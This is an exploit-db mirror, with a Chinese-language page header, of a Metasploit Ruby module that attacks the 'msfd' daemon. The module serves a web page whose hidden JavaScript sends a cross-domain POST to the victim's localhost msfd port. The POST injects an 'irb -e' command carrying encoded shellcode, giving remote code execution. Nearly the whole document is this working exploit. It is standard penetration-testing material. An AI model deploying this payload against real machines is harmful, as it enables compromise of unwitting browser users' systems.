Metasploit Framework – ‘msfd’ Remote Code Execution (via Browser) (Metasploit)

  • 作者： Metasploit
    日期： 2018-05-02
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/44569/
  • ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
 'Name' => 'Metasploit msfd Remote Code Execution via Browser',
 'Description'=> %q{
Metasploit's msfd-service makes it possible to get a msfconsole-like
interface over a TCP socket. This module connects to the msfd-socket
through the victim's browser.

To execute msfconsole-commands in JavaScript from a web application,
this module places the payload in the POST-data. These POST-requests
can be sent cross-domain and can therefore be sent to localhost on the
victim's machine. The msfconsole-command to execute code is 'rbi -e
"CODE"'.

Exploitation when the browser is running on Windows is unreliable and
the exploit is only usable when IE is used and the quiet-flag has been
passed to msf-daemon.
},
'License'=> BSD_LICENSE,
'Author' => 'Robin Stenvi <robin.stenvi[at]gmail.com>',
'Platform' => 'ruby',
'Arch' => ARCH_RUBY,
'Targets'=>
[
[ 'Automatic', {}],
],
'Payload'=>
{
'Space' => 8192,# Arbitrary limit
'DisableNops' =>'True',
'BadChars' => "\x22\x0a"
},
'DisclosureDate' => 'Apr 11 2018',# Vendor notification
'DefaultTarget'=> 0))

register_options([
OptString.new('REMOTE_IP', [true, 'Remote IP address when called from victim', '127.0.0.1']),
OptString.new('REMOTE_PORT', [true, 'Remote port the service is running at', '55554'])
])
end

def exploit
super
end

def on_request_uri(cli, request)
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
sc = payload.encoded
shellcode = "\\x" + sc.unpack('U'*sc.length).collect {|x| x.to_s 16}.join("\\x")
var1 = rand_text_alpha(rand(6..11))
var2 = rand_text_alpha(rand(6..11))
html =<<-EOS
<html>
<head></head>
<body>
<script>
var #{var1} = new XMLHttpRequest();
#{var1}.open("POST","http://#{datastore['REMOTE_IP']}:#{datastore['REMOTE_PORT']}/", true);
var #{var2} = String("#{shellcode}");
#{var1}.send("irb -e \\"" + #{var2} + "\\"\\n");
</script>
</body>
</html>
EOS
print_status("#{msg} Sending HTML...")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end